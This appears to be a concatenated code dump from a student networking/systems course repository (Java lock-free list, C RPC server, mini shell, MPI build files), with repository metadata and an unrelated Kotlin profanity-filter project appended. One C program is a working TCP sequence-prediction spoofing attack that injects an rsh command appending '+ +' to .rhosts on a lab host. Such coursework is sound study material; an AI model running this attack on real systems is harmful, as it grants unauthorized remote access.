/* find the right place for the element */ Window window = find(t); Node pred = window.pred; Node curr = window.curr; Node node = new ListNode(t); node.next = new AtomicMarkableReference<Node>(curr, false); if(pred.next.compareAndSet(curr, node, false, false)) /* the compare and set succeded -> the node is added */ return; } } /** * Find the node with value t and removes it * It traversers the list from the head to the element * to be removed. * * @param T t value of node to be removed */ public void remove(T t) { boolean snip; while(true) { Window window = find(t); Node pred = window.pred; Node curr = window.curr; if(curr.compareTo(t) != 0) return; else { Node succ = curr.next.getReference(); /* remove the node logically */ snip = curr.next.compareAndSet(succ, succ, false, true); if(!snip) continue; /* remove the node physically */ pred.next.compareAndSet(curr, succ, false, false); } return; } } /** * prints the datastructure * This method should not be used when other threads are adding * and removing elements - the list might have changed in the mean * time. * * @return String */ public String toString() { String s = ""; Node node = head; while(node != null) { s += node.item + " → "; node = node.next.getReference(); } return s; } /** * Find the the place in the tree an node with item t * should be. * * @param T t the item to be found * @return Window the two nodes where curr should have the item t * of where the new node should be placed in between */ public Window find(T t) { Node pred = null, curr = null, succ = null; boolean [] marked = {false}; boolean snip; retry: while(true) { pred = head; curr = pred.next.getReference(); while(true) { succ = curr.next.get(marked); while(marked[0]) { snip = pred.next.compareAndSet(curr, succ, false, false); if(!snip) continue retry; curr = succ; succ = curr.next.get(marked); } if(curr.compareTo(t) >= 0) return new Window(pred, curr); pred = curr; curr = succ; } } } /** * class holding two nodes which is used for finding * nodes and places where it should be added. */ class Window { public Node pred, curr; Window(Node myPred, Node myCurr) { pred = myPred; curr = myCurr; } } abstract class Node { T item = null; AtomicMarkableReference<Node> next = new AtomicMarkableReference<Node>(null, false); protected abstract int compareTo(T t); } /* sentinal head node */ class HeadNode extends Node { protected int compareTo(T t) { return -1; } } /* sentinal tail node */ class TailNode extends Node { protected int compareTo(T t) { return 1; } } /* normal list node */ class ListNode extends Node { ListNode(T t) { item = t; } protected int compareTo(T t) { return item.compareTo(t); } } } <file_sep>#include "paper.h" struct str_server { int number; char *name; char *title; struct paper p; struct str_server *next; }; struct str_server head; struct str_server *tail = &head; void free_str_server(struct str_server *node) { free(node->name); free(node->title); //free(node->next); } int_out *add_1_svc(str_add *in, struct svc_req *rqstp) { static int_out out; struct str_server *tmp; tmp = (struct str_server*) malloc(sizeof(struct str_server)); if(tmp == NULL) { perror("malloc error"); out = -1; return(&out); } /* set number */ out = tail->number + 1; tmp->number = out; /* copy name and title */ tmp->name = strdup(in->name); tmp->title = strdup(in->title); /* copy paper (binary data) */ tmp->p.len = in->p.len; tmp->p.val = malloc(sizeof(char) * in->p.len); memcpy(tmp->p.val, &in->p.val, in->p.len); /* pointers should always be initialized */ tmp->next = NULL; /* advance the tail */ tail->next = tmp; tail = tail->next; return(&out); } int_out *remove_1_svc(int* num, struct svc_req *rqstp) { struct str_server *pred = &head, *curr = head.next; static int_out v = 0; /* no papers stored yet */ if(curr == NULL) return(&v); /* find the paper corresponding with * the given number: num */ do { if(curr->number == *num) { /* remove paper by advancing next pointer */ pred->next = pred->next-> next; /* and freeing the current node */ free_str_server(curr); break; } } while((pred = curr) && (curr = curr->next) != NULL); return(&v); } str_list *list_1_svc(void *v, struct svc_req *rqstp) { static struct str_list out; struct str_list *tmp = &out; struct str_server *curr = head.next; /* no papers stored yet */ if(curr == NULL) { out.number = -1; out.name = ""; out.title = ""; return(&out); } while(1) { tmp->number = curr->number; tmp->name = malloc(sizeof(char) * 100); tmp->title = malloc(sizeof(char) * 100); tmp->name = strdup(curr->name); tmp->title = strdup(curr->title); if(curr->next == NULL) { tmp->next = NULL; break; } tmp->next = (struct str_list*) malloc(sizeof(struct str_list)); tmp = tmp->next; curr = curr->next; } /* reset the pointer to start of */ tmp = &out; return(&out); } /* get info of the paper with given number */ str_info *info_1_svc(int *number, struct svc_req *rqstp) { static str_info out; struct str_server *curr = &head; /* traverse the linked list */ while((curr = curr->next) != NULL) { /* do we have the correct paper */ if(curr->number == *number) { out.number = curr->number; out.name = curr->name; out.title = curr->title; return(&out); } } /* paper not found send empty structure */ out.number = -1; out.name = ""; out.title = ""; return(&out); } /* returns the paper with the corresponding number */ paper *fetch_1_svc(int *number, struct svc_req *rqstp) { static paper out; struct str_server *curr = &head; while((curr = curr->next) != NULL) { if(curr->number == *number) { /* copy paper (binary data) */ out.len = curr->p.len; out.val = malloc(sizeof(char) * curr->p.len); memcpy(out.val, &curr->p.val, curr->p.len); return(&out); } } out.len = 0; out.val = ""; return(&out); } <file_sep>void Start() { if(lookahead == Start) match(Expr); } void Expr() { if(lookahead == Term) { match(Term); match(Expr); } else { report("Syntax Error"); } } void Expr'() { if(lookahead == OpLowPrec) { match(OpLowPrec); match(Term); match(Expr'); } } void Term() { match(identifier); match(Term'); } void Term'() { if(lookahead = OpHighPrec) { match(OpHighPrec); match(Term'); } } void OpLowTerm() { if(lookahead == '+') match('+'); else match('-'); } void OpHighTerm() { if(lookahead == '+') { match('+'); match('+'); } else { match('-'); match('-'); } } void match(terminal t) { if(lookahead == t) lookahead = nextTerminal; else report("Syntax Error"); } <file_sep>//#include <stdio.h> //#include <stdlib.h> //#include <stdint.h> //#include <unistd.h> //#include <netinet/if_ether.h> #include "send.h" void init_libnet() { char errbuf[LIBNET_ERRBUF_SIZE]; if ((libnet_context = libnet_init(LIBNET_RAW4, NULL, errbuf)) == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } } void send_packet(char *source, u_int16_t src_prt, u_int16_t dst_prt,\ u_int32_t seq, u_int32_t ack, u_int8_t control, u_int8_t *payload, u_int32_t payload_s) { int error; u_int32_t src_ip, dst_ip; /* set payload length */ if(payload != NULL) payload_s = 40;//sizeof(payload); /* clear last packet settings */ libnet_clear_packet (libnet_context); /* set source and destination ip */ src_ip = libnet_name2addr4(libnet_context, source, LIBNET_DONT_RESOLVE); dst_ip = libnet_name2addr4(libnet_context, "172.16.1.100",\ LIBNET_DONT_RESOLVE); /* create tcp header */ libnet_build_tcp(src_prt, dst_prt, seq, ack, control, 128, 0, 10,\ LIBNET_TCP_H + payload_s, (u_int8_t*) payload, payload_s,\ libnet_context, 0); /* create ip header */ libnet_build_ipv4(LIBNET_IPV4_H + LIBNET_TCP_H + payload_s, 0, libnet_get_prand(LIBNET_PR8), 0,\ 64, IPPROTO_TCP, 0, src_ip, dst_ip, NULL, 0, libnet_context, 0); /* send tcp packet */ error = libnet_write(libnet_context); } <file_sep>#include "receive.h" void init_pcap() { char dev[] = "eth1", errbuf[PCAP_ERRBUF_SIZE], filter_exp[] = "src host 172.16.1.100"; struct bpf_program fp; bpf_u_int32 mask = 0, net = 0; pcap_lookupnet(dev, &net, &mask, errbuf); pcap_handle = pcap_open_live(dev, BUFSIZ, 1, 0, errbuf); pcap_compile(pcap_handle, &fp, filter_exp, 0, net); pcap_setfilter(pcap_handle, &fp); } uint32_t packet_sequence_number(const u_char *packet) { struct iphdr* ip_header; struct tcphdr* tcp_header; /* extract the ip and tcp header from the packet */ ip_header = (struct iphdr*)(packet + ETHER_HDR_LEN); tcp_header = (struct tcphdr*)(packet + ETHER_HDR_LEN + 4 * ip_header->ihl); /* return the sequence number in correct byte order */ return ntohl(tcp_header->seq); } <file_sep>#define BASEPHP "localhost" #define BASECGI "localhost/ass4/" #define HOTEL_GATEWAY_ADDR "localhost" #define HOTEL_GATEWAY_PORT "1234" #define PAPERSERVER_ADDR "localhost" #define PAPERSERVER_PORT "" <file_sep>CC := gcc MPICC := mpicc CFLAGS := -Wall -O2 -std=c99 SDIR := src/ BDIR := build/ MKDIR := @mkdir -p $(BDIR) .PHONY: all clean all: $(BDIR)dist_seq $(BDIR)dist_par $(BDIR)fw_seq $(BDIR)diam_seq $(BDIR)dist_seq: $(BDIR)tab.o $(SDIR)dist_seq.c $(MKDIR) $(CC) $(SDIR)dist_seq.c $(BDIR)tab.o -o $(BDIR)dist_seq $(CFLAGS) $(BDIR)dist_par: $(BDIR)tab.o $(SDIR)dist_par.c $(MKDIR) $(MPICC) $(SDIR)dist_par.c $(BDIR)tab.o -o $(BDIR)dist_par $(CFLAGS) $(BDIR)fw_seq: $(BDIR)tab.o $(SDIR)fw_seq.c $(MKDIR) $(CC) $(SDIR)fw_seq.c $(BDIR)tab.o -o $(BDIR)fw_seq $(CFLAGS) $(BDIR)diam_seq: $(BDIR)tab.o $(SDIR)diam_seq.c $(MKDIR) $(CC) $(SDIR)diam_seq.c $(BDIR)tab.o -o $(BDIR)diam_seq $(CFLAGS) $(BDIR)tab.o: $(SDIR)tab.c $(SDIR)tab.h $(MKDIR) $(CC) -c $(SDIR)tab.c -o $(BDIR)tab.o $(CFLAGS) clean: rm -r $(BDIR) <file_sep>#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> /* get the arguments from the input */ void get_arguments(char* input, char** args) { int i = 0; char *token = strtok(input, " "); do { args[i++] = token; } while(token = strtok(NULL, " ")); args[i] = NULL; } /* split input on pipes and command from arguments */ int process_input(char* input, char** args, char** args2) { int i = 0, j = 0; char *token = strtok(input, "|"); do { if(i == 0) args[255] = token; if(i == 1) args2[255] = token; i++; } while(token = strtok(NULL, "|")); get_arguments(args[255], args); get_arguments(args2[255], args2); return i - 1; /* 0 on no pipe found else higher than 1 */ } int main(int argc, const char* argv[]) { char input[512], *args[256], *args2[256]; pid_t child_id, gchild_id; int fd[2], i, out, piped_commands; /* run shell forever */ while(1) { fputs("$ ", stdout); fflush(stdout); /* get user input */ if(!fgets(input, 512, stdin) || !strcmp(input, "exit\n")) break; /* exit on EOF or exit command */ /* remove newline at the end */ input[strlen(input) - 1] = '\0'; /* get command and arguments from input */ piped_commands = process_input(input, args, args2); child_id = fork(); if(!child_id) { /* child executes given commands */ if(piped_commands) { if(pipe(fd) < 0) { perror("Pipe creation error"); exit(1); /* exit on pipe error */ } gchild_id = fork(); if(gchild_id == 0) { /* grand child executes first command */ out = dup(1); /* save stdout incase we need to print an error */ close(fd[0]); /* close reading pipe */ dup2(fd[1], 1); /* map stdout to pipe */ execvp(args[0], args); dup2(out, 1); /* remap stdout to stdout */ printf("-bash: %s: command not found\n", args[0]); } else { /* child executes second command */ close(fd[1]); /* close writing pipe */ dup2(fd[0], 0); /* map stdin to pipe */ execvp(args2[0], args2); printf("-bash: %s: command not found\n", args2[0]); } } else { execvp(args[0], args); /* run the only command given */ printf("-bash: %s: command not found\n", input); } break; /* exit children after exec errors */ } else if(child_id > 0) waitpid(child_id, 0, 0); /* wait for the child */ } return 0; } <file_sep><?php $BASEPHP = "localhost"; $BASECGI = "localhost/ass4/"; $HOTEL_GATEWAY_ADDR = "192.168.178.11"; $HOTEL_GATEWAY_PORT = "1234"; $PAPERSERVER_ADDR = "localhost"; $PAPERSERVER_PORT = ""; ?> <file_sep> all: javac HotelGW.java javac Hotel.java clean: rm *.class <file_sep>#include "send.h" #include "receive.h" /* guess the next sequence number by subtracting * two sequence numbers. */ u_int32_t guess_next_seq() { u_int32_t seq[2]; struct pcap_pkthdr header; int i; /* get the first sequence number */ for(i = 0; i < 2; i++) { send_packet("172.16.1.10", 600, 600, 1, 0, TH_SYN, NULL, 0); seq[i] = packet_sequence_number(pcap_next(pcap_handle, &header)); } /* return next sequence number */ return (seq[1] - seq[0]) + seq[1]; } void send_rsh_command(u_int32_t ack) { u_int32_t seq = libnet_get_prand(LIBNET_PRu16);; char payload[] = "0\0tsutomu\0tsutomu\0echo + + >> .rhosts"; /* send syn */ send_packet("172.16.1.1", 1022, 514, seq, 0, TH_SYN, NULL, 0); /* send ack with rsh command */ send_packet("172.16.1.1", 1022, 514, seq + 1, ack, TH_ACK | TH_PUSH,\ (u_int8_t*) payload, (u_int32_t) sizeof(payload)); } int main(int argc, const char *argv[]) { u_int32_t ack; /* initialize libraries */ init_libnet(); init_pcap(); /* get next acknowledge */ ack = guess_next_seq() + 1; /* send rsh command to append '+ +' to '~/.rhosts' */ send_rsh_command(ack); return 0; } <file_sep>/* * Please do not edit this file. * It was generated using rpcgen. */ #include "add.h" bool_t xdr_paper(xdrs, objp) XDR *xdrs; paper *objp; { if (!xdr_long(xdrs, &objp->len)) return (FALSE); if (!xdr_string(xdrs, &objp->val, ~0)) return (FALSE); return (TRUE); } bool_t xdr_str_add(xdrs, objp) XDR *xdrs; str_add *objp; { if (!xdr_string(xdrs, &objp->name, ~0)) return (FALSE); if (!xdr_string(xdrs, &objp->title, ~0)) return (FALSE); if (!xdr_paper(xdrs, &objp->p)) return (FALSE); return (TRUE); } bool_t xdr_str_list(xdrs, objp) XDR *xdrs; str_list *objp; { if (!xdr_int(xdrs, &objp->number)) return (FALSE); if (!xdr_string(xdrs, &objp->name, ~0)) return (FALSE); if (!xdr_string(xdrs, &objp->title, ~0)) return (FALSE); if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof(str_list), (xdrproc_t)xdr_str_list)) return (FALSE); return (TRUE); } bool_t xdr_str_info(xdrs, objp) XDR *xdrs; str_info *objp; { if (!xdr_int(xdrs, &objp->number)) return (FALSE); if (!xdr_string(xdrs, &objp->name, ~0)) return (FALSE); if (!xdr_string(xdrs, &objp->title, ~0)) return (FALSE); return (TRUE); } bool_t xdr_int_out(xdrs, objp) XDR *xdrs; int_out *objp; { if (!xdr_int(xdrs, objp)) return (FALSE); return (TRUE); } <file_sep>#include <sys/time.h> #include "tab.h" void usage() { printf("Usage: balblabla\n"); } void get_arguments(int argc, char *argv[], int *n) { int i; for(i = 1; i < argc; i++) { if(!strcmp(argv[i], "-random")) { i++; (*n) = atoi(argv[i]); } } } void do_asp(int **tab, int n) { int i, j, k, tmp; for (k = 0; k < n; k++) { for (i = 0; i < n; i++) { if (i != k) { for (j = 0; j < n; j++) { tmp = tab[i][k] + tab[k][j]; if (tmp < tab[i][j]) { tab[i][j] = tmp; } } } } } } int main(int argc, char *argv[]) { int m, n, **tab, *ptr; double time; struct timeval start, end; //usage(); get_arguments(argc, argv, &n); /* set start time */ gettimeofday(&start, 0); /* initialize tab with random values */ /* TODO initialize tab on input */ init_tab(n, &m, &tab, 1, &ptr); print_tab(tab, n); printf("---\n"); /* calculate total distance of the roads */ do_asp(tab, n); /* calculate and print run time */ gettimeofday(&end, 0); time = (end.tv_sec + (end.tv_usec / 1000000.0)) -\ (start.tv_sec + (start.tv_usec / 1000000.0)); fprintf(stderr, "ASP took %f seconds\n", time); /* print new road distances */ print_tab(tab, n); /* free the 2d road array */ free_tab(tab, n); return 0; } <file_sep>all: # call all Makefiles in the subdirectories make -C hotel make -C hotelgw make -C hotelgwclient make -C paper clean: make -C hotel clean make -C hotelgw clean make -C hotelgwclient clean make -C paper clean <file_sep><?php require_once 'setup.php'; function connect() { global $HOTEL_GATEWAY_ADDR, $HOTEL_GATEWAY_PORT; if(($socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) == false) return NULL; else if(($result = socket_connect($socket, $HOTEL_GATEWAY_ADDR, $HOTEL_GATEWAY_PORT)) == false) return NULL; else return $socket; } ?> <file_sep>/* * Please do not edit this file. * It was generated using rpcgen. */ #include <memory.h> /* for memset */ #include "paper.h" /* Default timeout can be changed using clnt_control() */ static struct timeval TIMEOUT = { 25, 0 }; int_out * add_1(str_add *argp, CLIENT *clnt) { static int_out clnt_res; memset((char *)&clnt_res, 0, sizeof(clnt_res)); if (clnt_call (clnt, ADD, (xdrproc_t) xdr_str_add, (caddr_t) argp, (xdrproc_t) xdr_int_out, (caddr_t) &clnt_res, TIMEOUT) != RPC_SUCCESS) { return (NULL); } return (&clnt_res); } int_out * remove_1(int *argp, CLIENT *clnt) { static int_out clnt_res; memset((char *)&clnt_res, 0, sizeof(clnt_res)); if (clnt_call (clnt, REMOVE, (xdrproc_t) xdr_int, (caddr_t) argp, (xdrproc_t) xdr_int_out, (caddr_t) &clnt_res, TIMEOUT) != RPC_SUCCESS) { return (NULL); } return (&clnt_res); } str_list * list_1(void *argp, CLIENT *clnt) { static str_list clnt_res; memset((char *)&clnt_res, 0, sizeof(clnt_res)); if (clnt_call (clnt, LIST, (xdrproc_t) xdr_void, (caddr_t) argp, (xdrproc_t) xdr_str_list, (caddr_t) &clnt_res, TIMEOUT) != RPC_SUCCESS) { return (NULL); } return (&clnt_res); } str_info * info_1(int *argp, CLIENT *clnt) { static str_info clnt_res; memset((char *)&clnt_res, 0, sizeof(clnt_res)); if (clnt_call (clnt, INFO, (xdrproc_t) xdr_int, (caddr_t) argp, (xdrproc_t) xdr_str_info, (caddr_t) &clnt_res, TIMEOUT) != RPC_SUCCESS) { return (NULL); } return (&clnt_res); } paper * fetch_1(int *argp, CLIENT *clnt) { static paper clnt_res; memset((char *)&clnt_res, 0, sizeof(clnt_res)); if (clnt_call (clnt, FETCH, (xdrproc_t) xdr_int, (caddr_t) argp, (xdrproc_t) xdr_paper, (caddr_t) &clnt_res, TIMEOUT) != RPC_SUCCESS) { return (NULL); } return (&clnt_res); } <file_sep>#!/bin/sh #\ echo "Syn1\n\n" java syn1 echo "\nSyn2\n\n" java syn2 <file_sep>designdocument.pdf: designdocument.tex pdflatex designdocument.tex clean: rm -f *.aux *.log *.bbl *.blg *.brf *.cb *.ind *.idx *.ilg \ *.inx *.ps *.dvi *.pdf *.toc *.out <file_sep>#include <stdio.h> #include <stdlib.h> #include <stddef.h> #include <sys/types.h> #include <errno.h> /* error exit function * prints error string parameter given * and perror before exiting on a * negative integer */ void error_handling(int error, char *str) { if(error < 0) { perror(str); exit(-1); } } /* writen function from Stevens book page 78 */ ssize_t writen(int fd, const void *vptr, size_t n) { size_t nleft; ssize_t nwritten; const char *ptr; ptr = vptr; nleft = n; while (nleft > 0) { if ((nwritten = write(fd, ptr, nleft)) <= 0) { if (errno == EINTR) nwritten = 0; /* and call write() again */ else return -1; /* error */ } nleft -= nwritten; ptr += nwritten; } return n; }
490bbeaaeb827c3741e8f13987305e7297190e8e
[ "Markdown", "Makefile", "Java", "Python", "PHP", "C", "Shell" ]
76
C
harryobas/vu
e8c71168e81c8ccc256a6580bc4c8a6f98702fe0
c8f3ef8f9a22dea86c98162af76c57f88bbafeae
refs/heads/master
<repo_name>maqmaqmaq/laraproject<file_sep>/README.md # laraproject Project in Laravel Steps: 1. composer install 2. create db store 3. php artisan migrate:fresh 4. php artisan tinker -> factory(App\Products::class, 10)->create(); 5. Register user <file_sep>/app/Http/Controllers/AccountController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; class AccountController extends Controller { public function account() { return view('account.index',[ 'plans' => [ ['id'=>'free','name'="Free"], ['id'=>'seller','name'="Seller"], ], 'user' => auth()->user() ]); } public function change() { return view('account.change'); } }
c79905198b0f2a44ff39325d0cf0b0b267306bb6
[ "Markdown", "PHP" ]
2
Markdown
maqmaqmaq/laraproject
7fb44166935fb5e3748e41f197ab128213f07848
5b641bb31df677a652b9afcc0806284170f82562
refs/heads/master
<file_sep>package OOP.overloadingOverriding; public class overloading { // public void sum1(int i1 , int i2){ // // } // // public void sum1(int i1 , int i2 , int i3){ // // } // // public void sum1(int i2 , int i1){ // // } // // public void sum1(int i1 , String i2){ // // } // // public int sum1(int i1 , int i2){ // // return i1+i2; // } /* overloading vs overriding overloading in the same class overriding has parent and child relationship(in the different class) overloading I can change parameters overriding child class method should have same parameter as parent class method overloading can have different type of return type overriding should have same type return type */ } <file_sep>package CoreJava; import java.util.HashMap; public class map1 { public static void main(String[] args) { // create a map and print them one by one HashMap<Integer, String> m1 = new HashMap<>(); m1.put(1,"tr"); m1.put(2,"tr2"); m1.put(4,"tr3"); m1.put(3,"tr4"); m1.put(5,"tr5"); System.out.println(m1.get(2)); for(String vlues:m1.values()){ System.out.println(vlues); } } } <file_sep>package OOP.overloadingOverriding; public class overridingParent { public void withOutParameter(){ } public void withParameter(String s1){ } public int withReturnType(){ return 2; } }
04a33cff92258f0a5f426c9e382930f2ce9c2b05
[ "Java" ]
3
Java
mhmmtkkl/recap
ac63455f5ca9755708d3451074a517bc016ad18b
671b77de0929a896482ed0a001d5d9b3d0b163ba
refs/heads/main
<file_sep>import argparse import mysql.connector if __name__ == '__main__': parser = argparse.ArgumentParser(description='Create Database tables') parser.add_argument('--db-host', type=str, dest='db_host', help='MySQL db host') parser.add_argument('--db-name', type=str, dest='db_name', required=True, help='MySQL db name') parser.add_argument('--db-user', type=str, dest='db_user', required=True, help='MySQL db user') parser.add_argument('--db-pass', type=str, dest='db_pass', required=True, help='MySQL db pass') args = parser.parse_args() db_con = mysql.connector.connect( user=args.db_user, password=<PASSWORD>, host=args.db_host if args.db_host else "localhost", database=args.db_name ) frequencies_table = ( "CREATE TABLE `frequencies` (" " `glossary` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_bin NOT NULL," " `frequency` INT NOT NULL," " PRIMARY KEY (`glossary`)" ") CHARSET=utf8" ) translation_table = ( "CREATE TABLE `translations` (" " `glossary` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_bin NOT NULL," " `spanish_translation` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_bin NOT NULL," " PRIMARY KEY (`glossary`)," " FOREIGN KEY (`glossary`)" " REFERENCES frequencies(glossary)" ") CHARSET=utf8" ) # execute the queries cursor = db_con.cursor() cursor.execute(frequencies_table) print("frequencies table is created") cursor.execute(translation_table) print("translation table is created") db_con.commit() cursor.close() db_con.close() print("finish")<file_sep># Practicals Given as input: a text and a glossary files * We compute the frequency of each glossary entry in the input text. * We enter all glossary entries found in text in a database (DB), along with their frequencies. * We get the machine translation into Spanish of the n most frequent glossary entries found in the input text, using the API (https://libretranslate.com/docs/). * We add the translations to the DB. ## Steps done: * Read the glossary file line-by-line by iterating over the file object of the glossary file in a for loop, lowercase and strip the line then add the glossary in a dictionary as a key with a zero frequency as its value. * In a similar fashion, read the input text file line-by-line, preprocess the line by lowercasing and removing stopwords and any non-alphabetical words (punctuations, etc), then increase the frequency of every found glossary in the preprocessed line (if found). * Then add all found glossaries in the input text along with their frequency in a ‘frequencies’ table in the database, where all glossaries can be found in the ‘glossary’ column, and all their corresponding frequencies in the ‘frequency’ column. * Query the ‘frequencies’ table in the DB to select the top 10 frequent glossaries. Then using the ‘libretranslate’ API, get their spanish translation. Finally, insert the n top frequent glossaries and their translations into the ‘translation’ table in the DB.<file_sep>import argparse import requests import mysql.connector from nltk.corpus import stopwords from nltk.tokenize import word_tokenize def pre_process_text(sentence, stopwords_): """Method that pre-processes a sentence. :param sentence: The input sentence. :param stopwords_: A set of stopwords. :return: Pre-processed sentence in a list of tokens format. """ """ steps: -lower case and strip the sentence -tokenize the sentence using nltk word tokenizer -only leave words that are not in the French stopwords and are alphabetic """ word_tokens = word_tokenize(sentence.lower().strip()) filtered_sentence = [word for word in word_tokens if word not in stopwords_ and word.isalpha()] return filtered_sentence def get_translations(sentence): """Method that gets the translation of the input sentence using the libretranslate open-source API. :param sentence: String of glossaries separated by comma. :return: List of translated glossaries. """ json_data = {'q': sentence, "source": "fr", "target": "es", "Content-Type": "application/json"} libretranslate_endpoint = "https://libretranslate.com/translate" response = requests.post(libretranslate_endpoint, json_data) result = response.json() return result['translatedText'].split(',') def prepare_translation_table_data(glossaries, translations): """Method that prepare a list of tuples. :param glossaries: List of glossaries. :param translations: List of translations :return: List of glossary and translation tuples. """ records_to_insert = [] for glossary, translation in zip(glossaries, translations): records_to_insert.append((glossary, translation)) return records_to_insert if __name__ == '__main__': parser = argparse.ArgumentParser(description='') parser.add_argument('--db-host', type=str, dest='db_host', help='MySQL db host') parser.add_argument('--db-name', type=str, dest='db_name', required=True, help='MySQL db name') parser.add_argument('--db-user', type=str, dest='db_user', required=True, help='MySQL db user') parser.add_argument('--db-pass', type=str, dest='db_pass', required=True, help='MySQL db pass') parser.add_argument('--glossary-file', type=str, dest='glossary_file', required=True, help='Glossary file path') parser.add_argument('--text-file', type=str, dest='text_file', required=True, help='Text file path') parser.add_argument('--top-n', type=int, dest='top_n', required=True, help='Top number of glossaries to translate') args = parser.parse_args() db_con = mysql.connector.connect( user=args.db_user, password=<PASSWORD>, host=args.db_host if args.db_host else "localhost", database=args.db_name ) print("Connected with DB") # read a glossary from the text file, lower case it, strip the read line to avoid spaces at the ends then, # add the glossary as a key in a dictionary with a 0 frequency as a value. glossaries_frequencies = dict() with open(args.glossary_file, encoding="utf-8") as f: for line in f: glossary = line.lower().strip() glossaries_frequencies[glossary] = 0 print("Glossaries are read and saved") # load unique french stopwords from NLTK stop_words = set(stopwords.words('french')) # read one line at a time from the input text file, pre-process it, iterate over each word in the pre-processed line # and increment the frequency of a found glossary with open(args.text_file, encoding="utf-8") as f: for line in f: word_tokens = pre_process_text(line, stop_words) for word in word_tokens: if word in glossaries_frequencies: glossaries_frequencies[word] += 1 print("Saved the frequency of each glossary in the input text") add_glossary = ( "INSERT INTO frequencies " "(glossary, frequency) " "VALUES (%s, %s)" ) cursor = db_con.cursor() # prepare records of tuples of a glossary and its corresponding frequency to insert into the DB # only insert those of which were found in the input text i.e their frequency >=1 records_to_insert = [] for glossary, frequency in glossaries_frequencies.items(): if frequency: records_to_insert.append((glossary, frequency)) # insert the found glossaries and their frequencies into frequencies table cursor.executemany(add_glossary, records_to_insert) db_con.commit() cursor.close() print("Inserted each occurred glossary and it's frequency in frequencies table") top_10_cmd = """ SELECT glossary FROM frequencies ORDER BY frequency DESC LIMIT {}""".format(str(args.top_n)) # query the top n frequent glossaries in the database cursor = db_con.cursor() cursor.execute(top_10_cmd) top_n_glossaries = [record[0] for record in cursor.fetchall()] cursor.close() print("Selected top {} frequent glossaries from frequencies table".format(str(args.top_n))) # get the translations of the top 10 glossaries translations = get_translations(", ".join(top_n_glossaries)) print("Translated the top {} glossaries ".format(str(args.top_n))) # map each glossary with its translation records_to_insert = prepare_translation_table_data(top_n_glossaries, translations) add_translation = ( "INSERT INTO translations " "(glossary, spanish_translation) " "VALUES (%s, %s)" ) # insert the top 10 glossaries and their translation into translation table cursor = db_con.cursor() cursor.executemany(add_translation, records_to_insert) db_con.commit() cursor.close() print("Inserted the top {} glossaries and their translation in translation table".format(str(args.top_n))) print("finish")
2743fe99d7b466af316c8399f03bdae91a5ca153
[ "Markdown", "Python" ]
3
Python
mariaafara/practicals
4cf29550cdbfafafbc6654a754cd6db5e7fb1620
33d55859e7fe2ba5e755392274b9ded92e744b17
refs/heads/master
<repo_name>KadotaRyouhei/MyFirstAppLocal<file_sep>/README.md # MyFirstAppLocal my first app local workspace <file_sep>/app/src/main/java/com/example/shanliangjs/myfirstapp/fragment/HomePageFragment.java package com.example.shanliangjs.myfirstapp.fragment; import android.app.Fragment; import android.content.Intent; import android.os.Bundle; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.TextView; import com.example.shanliangjs.myfirstapp.R; import com.example.shanliangjs.myfirstapp.activity.IntentServiceActivity; import java.util.zip.Inflater; /** * Created by shanliangjs on 2016/6/29. */ public class HomePageFragment extends Fragment { private TextView tvGoService; @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View view = inflater.inflate(R.layout.fragment_home_page,container,false); tvGoService = (TextView) view.findViewById(R.id.tv_go_service_test); init(); return view; } public void init() { tvGoService.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Intent intent = new Intent(getActivity(), IntentServiceActivity.class); startActivity(intent); } }); } }
147755bcf0320913c60cb5196e1597c0ced30a4e
[ "Markdown", "Java" ]
2
Markdown
KadotaRyouhei/MyFirstAppLocal
229f5a0f51158f1fcf7e0344276cc535f12de36e
fbac4cb32e7805a61c7ff8db3a405f86ff90d6d1
refs/heads/master
<repo_name>ManApart/profanity-filter<file_sep>/src/main/kotlin/Main.kt import kotlinx.coroutines.launch import kotlinx.coroutines.runBlocking import nl.siegmann.epublib.epub.EpubReader import nl.siegmann.epublib.epub.EpubWriter import java.io.File private const val inputPath = "./src/main/resources/" fun main() { val swears = File(swearsFile).readText().parseSwears() val sourceFile = File(inputPath) val root = if (sourceFile.isDirectory) sourceFile.path else sourceFile.parentFile.path cleanFile(sourceFile, root, swears) } private fun cleanFile(file: File, root: String, swears: List<Regex>) { when { file.path.endsWith(".epub") -> cleanBook(file, root, swears) file.path.endsWith(".txt") -> cleanTextFile(file, root, swears) file.isDirectory -> cleanDirectory(file, root, swears) else -> println("Skipping ${file.path}") } } private fun cleanDirectory(file: File, root: String, swears: List<Regex>) { if (file.path == "$root\\out") return runBlocking { file.listFiles()!!.forEach { file -> launch { cleanFile(file, root, swears) } } } } fun String.parseSwears(): List<Regex> { return this.decode() .split("\n") .flatMap { listOf(it, "${it}ed", "${it}s", "${it}ing") } .flatMap { buildRegex(it) } } private fun buildRegex(word: String): List<Regex> { return listOf( /* Optionally start with > but don't capture it Starts with none to one new lines or spaces Has the word Ends with a space, newline, period or < */ Regex("(?<=>)?[ \n](?i)$word(?=[^a-zA-Z])"), //End of string Regex("[ \n>](?i)$word$"), //Start of String Regex("^(?i)$word(?=[^a-zA-Z])"), //Start of html Regex("(?<=>)(?i)$word(?=[^a-zA-Z])") ) } private fun cleanBook(file: File, root: String, swears: List<Regex>) { println("Cleaning ${file.path}") val book = EpubReader().readEpub(file.inputStream()) runBlocking { book.contents.forEach { chapter -> launch { chapter.data = chapter.reader.readText().clean(swears).toByteArray() } } } EpubWriter().write(book, createOutFile(file, root).outputStream()) } private fun cleanTextFile(file: File, root: String, swears: List<Regex>) { println("Cleaning ${file.path}") val text = file.readText() val cleaned = text.clean(swears) createOutFile(file, root).writeText(cleaned) } private fun createOutFile(file: File, root: String): File { val relativePath = file.path.substring(root.length, file.path.length) val newPath = "$root/out/$relativePath" return File(newPath).also { it.parentFile.mkdirs() } } fun String.clean(swears: List<Regex>): String { var newText = this swears.forEach { swear -> newText = newText.replace(swear, "") } return newText } <file_sep>/src/test/kotlin/StringCleanerTest.kt 